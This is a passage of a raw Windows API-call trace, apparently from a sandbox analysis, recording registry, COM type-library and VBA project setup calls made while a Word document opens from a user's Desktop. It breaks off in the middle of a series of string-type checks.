(_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0 [0053.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x126860, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0053.090] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0053.090] strcpy_s (in: _Dst=0x126640, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0053.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126640, cbMultiByte=7, lpWideCharStr=0x126490, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0053.090] IUnknown:AddRef (This=0x677d9c0) returned 0x3 [0053.090] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="Office", lHashVal=0x107515, pfName=0x126560, pBstrLibName=0x126490 | out: pfName=0x126560*=0, pBstrLibName=0x126490) returned 0x0 [0053.090] IUnknown:Release (This=0x677d9c0) returned 0x2 [0053.090] IUnknown:AddRef (This=0x677a9f0) returned 0x3 [0053.090] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="Office", lHashVal=0x107515, pfName=0x126560, pBstrLibName=0x126490 | out: pfName=0x126560*=0, pBstrLibName=0x126490) returned 0x0 [0053.090] IUnknown:Release (This=0x677a9f0) returned 0x2 [0053.090] IUnknown:AddRef (This=0x677acc0) returned 0x4 [0053.090] ITypeLib:RemoteIsName (in: This=0x677acc0, szNameBuf="Office", lHashVal=0x107515, pfName=0x126560, pBstrLibName=0x126490 | out: pfName=0x126560*=0, pBstrLibName=0x126490) returned 0x0 [0053.090] IUnknown:Release (This=0x677acc0) returned 0x3 [0053.090] IMalloc:Alloc (This=0x7feffc15380, cb=0x208) returned 0x690fbd0 [0053.090] wcscpy_s (in: _Destination=0x4377948, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0053.091] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x125c40 | out: phkResult=0x125c40*=0x9f6) returned 0x0 [0053.091] RegOpenKeyW (in: hKey=0x9f6, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x125c38 | out: phkResult=0x125c38*=0x9fa) returned 0x0 [0053.091] RegEnumKeyW (in: hKey=0x9fa, dwIndex=0x0, lpName=0x125c68, cchName=0xa | out: lpName="2.6") returned 0x0 [0053.092] RegEnumKeyW (in: hKey=0x9fa, dwIndex=0x1, lpName=0x125c68, cchName=0xa | out: lpName="2.7") returned 0x0 [0053.092] RegEnumKeyW (in: hKey=0x9fa, dwIndex=0x2, lpName=0x125c68, cchName=0xa | out: lpName="2.8") returned 0x0 [0053.092] wcscpy_s (in: _Destination=0x125c50, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0053.092] RegOpenKeyW (in: hKey=0x9fa, lpSubKey="2.8", phkResult=0x125cf8 | out: phkResult=0x125cf8*=0xa16) returned 0x0 [0053.092] _ultoa_s (in: _Val=0x0, _DstBuf=0x125c70, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0053.092] RegOpenKeyA (in: hKey=0xa16, lpSubKey="0", phkResult=0x125c60 | out: phkResult=0x125c60*=0xa1e) returned 0x0 [0053.092] RegOpenKeyW (in: hKey=0xa1e, lpSubKey="win64", phkResult=0x125c68 | out: phkResult=0x125c68*=0xa26) returned 0x0 [0053.093] RegCloseKey (hKey=0xa26) returned 0x0 [0053.093] RegCloseKey (hKey=0xa1e) returned 0x0 [0053.093] _ultow_s (in: _Value=0x0, _Buffer=0x125d00, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.093] RegOpenKeyW (in: hKey=0xa16, lpSubKey="0", phkResult=0x125cd8 | out: phkResult=0x125cd8*=0xa1a) returned 0x0 [0053.093] RegQueryValueW (in: hKey=0xa1a, lpSubKey="win64", lpData=0x125d20, lpcbData=0x125cd4 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x125cd4) returned 0x0 [0053.094] wcscpy_s (in: _Destination=0x690fbd0, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0053.094] RegCloseKey (hKey=0xa1a) returned 0x0 [0053.094] RegCloseKey (hKey=0xa16) returned 0x0 [0053.094] RegCloseKey (hKey=0x9fa) returned 0x0 [0053.094] RegCloseKey (hKey=0x9f6) returned 0x0 [0053.094] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x126348*=0x0 | out: pptlib=0x126348*=0x677dc90) returned 0x0 [0053.125] IUnknown:QueryInterface (in: This=0x677dc90, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126148 | out: ppvObject=0x126148*=0x0) returned 0x80004002 [0053.125] ITypeLib:RemoteGetLibAttr (in: This=0x677dc90, ppTLibAttr=0x126140, pDummy=0x10 | out: ppTLibAttr=0x126140, pDummy=0x10) returned 0x0 [0053.125] ITypeLib:RemoteGetDocumentation (in: This=0x677dc90, index=-1, refPtrFlags=0x0, pbstrName=0x126138, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x43779a6 | out: pbstrName=0x126138*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x43779a6) returned 0x0 [0053.125] StringFromGUID2 (in: rguid=0x66dc430*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0x126160, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0053.125] _ultow_s (in: _Value=0x2, _Buffer=0x1260aa, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0053.125] _ultow_s (in: _Value=0x8, _Buffer=0x1260ae, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0053.125] _ultow_s (in: _Value=0x0, _Buffer=0x1260b2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.125] wcscpy_s (in: _Destination=0x6925838, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0053.125] wcscpy_s (in: _Destination=0x692583e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0053.125] wcscpy_s (in: _Destination=0x692588a, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0053.125] wcscpy_s (in: _Destination=0x6925898, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0053.125] wcscpy_s (in: _Destination=0x6925918, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0053.125] ITypeLib:LocalReleaseTLibAttr (This=0x677dc90) returned 0x0 [0053.125] wcscpy_s (in: _Destination=0x690fbd0, _SizeInWords=0x104, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0053.125] IMalloc:Realloc (This=0x7feffc15380, pv=0x69f8570, cb=0xd00) returned 0x6a08310 [0053.125] wcscpy_s (in: _Destination=0x6a08888, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0053.125] IMalloc:Free (This=0x7feffc15380, pv=0x690fbd0) [0053.125] IUnknown:AddRef (This=0x677dc90) returned 0x2 [0053.125] IUnknown:QueryInterface (in: This=0x677dc90, riid=0x7fee4b385a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1263a8 | out: ppvObject=0x1263a8*=0x0) returned 0x80004002 [0053.125] ITypeLib:RemoteIsName (in: This=0x677dc90, szNameBuf="Office", lHashVal=0x107515, pfName=0x126560, pBstrLibName=0x126490 | out: pfName=0x126560*=0, pBstrLibName=0x126490) returned 0x0 [0053.125] IUnknown:Release (This=0x677dc90) returned 0x1 [0053.125] IMalloc:Alloc (This=0x7feffc15380, cb=0x3c) returned 0x69c3c40 [0053.125] IMalloc:Free (This=0x7feffc15380, pv=0x699fa80) [0053.125] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4a20 [0053.125] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d4a20, cb=0x68) returned 0x699fa80 [0053.125] IMalloc:Free (This=0x7feffc15380, pv=0x69c3c40) [0053.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x1266a0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.127] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x1267e0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.127] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.127] IMalloc:Realloc (This=0x7feffc15380, pv=0x690c7a0, cb=0x8) returned 0x6a506f0 [0053.127] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x699ab20 [0053.127] IMalloc:GetSize (This=0x7feffc15380, pv=0x699ab20) returned 0x80 [0053.127] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69adbd0 [0053.127] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69adc90 [0053.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x1266a0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.127] CoCreateGuid (in: pguid=0x1263d0 | out: pguid=0x1263d0*(Data1=0x22e6c0cf, Data2=0xcc3d, Data3=0x4b13, Data4=([0]=0xb3, [1]=0x7b, [2]=0x4f, [3]=0x0, [4]=0x4d, [5]=0xd9, [6]=0x97, [7]=0x5b))) returned 0x0 [0053.127] CoCreateGuid (in: pguid=0x1263e0 | out: pguid=0x1263e0*(Data1=0x43b2dde2, Data2=0x3793, Data3=0x41ee, Data4=([0]=0x9d, [1]=0x5d, [2]=0xff, [3]=0xad, [4]=0xed, [5]=0xf9, [6]=0xab, [7]=0x55))) returned 0x0 [0053.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x1263f0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.127] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.127] GetLocalTime (in: lpSystemTime=0x1262c8 | out: lpSystemTime=0x1262c8*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0x48)) [0053.127] _ultow_s (in: _Value=0x5e132abf, _Buffer=0x6a0863c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5e132abf") returned 0x0 [0053.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015e132abf", cchWideChar=11, lpMultiByteStr=0x126260, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015e132abf", lpUsedDefaultChar=0x0) returned 11 [0053.127] IMalloc:Alloc (This=0x7feffc15380, cb=0x170) returned 0x68d85e0 [0053.127] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0x69d6cb0 [0053.127] strcpy_s (in: _Dst=0x68fe208, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0053.127] IMalloc:Realloc (This=0x7feffc15380, pv=0x690c6b0, cb=0x68) returned 0x69a0810 [0053.127] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.127] wcscpy_s (in: _Destination=0x6a08650, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0053.127] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.127] wcscpy_s (in: _Destination=0x6a08670, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0053.127] IMalloc:Realloc (This=0x7feffc15380, pv=0x690c6d0, cb=0x12) returned 0x69073a0 [0053.127] IMalloc:Realloc (This=0x7feffc15380, pv=0x690c620, cb=0x6) returned 0x690c6d0 [0053.127] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.127] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0x69c3ce0 [0053.127] IMalloc:Free (This=0x7feffc15380, pv=0x699fa80) [0053.127] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4a20 [0053.127] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d4a20, cb=0x74) returned 0x6a1cc50 [0053.128] IMalloc:Free (This=0x7feffc15380, pv=0x69c3ce0) [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x6a7f950 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4a20 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x6907420 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x699abb0 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c620 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c6b0 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x688) returned 0x69f8570 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x699ac40 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0x6a09020 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d49f0 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c7a0 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50700 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d49c0 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x699acd0 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0x421b130 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0x421b540 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0x421b950 [0053.128] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0053.128] strcpy_s (in: _Dst=0x126430, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0053.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126430, cbMultiByte=10, lpWideCharStr=0x126280, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0053.128] IUnknown:AddRef (This=0x677d9c0) returned 0x3 [0053.128] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x126350, pBstrLibName=0x126280 | out: pfName=0x126350*=0, pBstrLibName=0x126280) returned 0x0 [0053.128] IUnknown:Release (This=0x677d9c0) returned 0x2 [0053.128] IUnknown:AddRef (This=0x677a9f0) returned 0x3 [0053.128] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x126350, pBstrLibName=0x126280 | out: pfName=0x126350*=0, pBstrLibName=0x126280) returned 0x0 [0053.128] IUnknown:Release (This=0x677a9f0) returned 0x2 [0053.128] IUnknown:AddRef (This=0x677acc0) returned 0x4 [0053.128] ITypeLib:RemoteIsName (in: This=0x677acc0, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x126350, pBstrLibName=0x126280 | out: pfName=0x126350*=0, pBstrLibName=0x126280) returned 0x0 [0053.128] IUnknown:Release (This=0x677acc0) returned 0x3 [0053.128] IUnknown:AddRef (This=0x677dc90) returned 0x2 [0053.128] ITypeLib:RemoteIsName (in: This=0x677dc90, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x126350, pBstrLibName=0x126280 | out: pfName=0x126350*=1, pBstrLibName=0x126280) returned 0x0 [0053.128] IUnknown:Release (This=0x677dc90) returned 0x1 [0053.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Evaluate", cchWideChar=-1, lpMultiByteStr=0x126430, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Evaluate", lpUsedDefaultChar=0x0) returned 10 [0053.128] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0053.128] wcsncpy_s (in: _Destination=0x126440, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0053.128] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchLength=0x47 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc") returned 0x47 [0053.128] IMalloc:Alloc (This=0x7feffc15380, cb=0x90) returned 0x69b62f0 [0053.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", cchWideChar=72, lpMultiByteStr=0x69b62f0, cbMultiByte=144, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", lpUsedDefaultChar=0x0) returned 72 [0053.128] IMalloc:Free (This=0x7feffc15380, pv=0x69b62f0) [0053.128] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0 [0053.129] CExposedDocFile::AddRef () returned 0x3 [0053.129] CExposedDocFile::AddRef () returned 0x4 [0053.129] CExposedDocFile::OpenStream () returned 0x0 [0053.129] CExposedDocFile::Release () returned 0x3 [0053.129] CExposedStream::Seek () returned 0x0 [0053.129] CExposedStream::AddRef () returned 0x2 [0053.129] CExposedStream::Read () returned 0x0 [0053.129] IMalloc:Alloc (This=0x7feffc15380, cb=0x2028) returned 0x6a7fd30 [0053.129] IMalloc:Alloc (This=0x7feffc15380, cb=0x10020*=0x10128) returned 0x6a81d60 [0053.130] CExposedStream::AddRef () returned 0x3 [0053.130] CExposedStream::Release () returned 0x2 [0053.130] IMalloc:Alloc (This=0x7feffc15380, cb=0x2ee0) returned 0x6a91d90 [0053.130] IMalloc:Alloc (This=0x7feffc15380, cb=0x800) returned 0x6444620 [0053.130] CExposedStream::Read () returned 0x0 [0053.130] CExposedStream::Read () returned 0x0 [0053.130] IMalloc:Alloc (This=0x7feffc15380, cb=0x404) returned 0x421bd60 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x80", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x81", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x82", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x83", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x84", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x85", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x86", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x87", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x88", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x89", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8a", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8b", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8c", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8d", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8e", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8f", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x90", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x91", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x92", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x93", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x94", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x95", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x96", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x97", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x98", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x99", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9a", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9b", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9c", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9d", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9e", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9f", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa0", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa1", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa2", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa3", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa4", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa5", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa6", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa7", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa8", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa9", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xaa", cchSrc=1, lpCharType=0x126540 | out: lpCharType=0x126540) returned 1 [0053.131] GetStringTypeA (in: Locale=0x800, 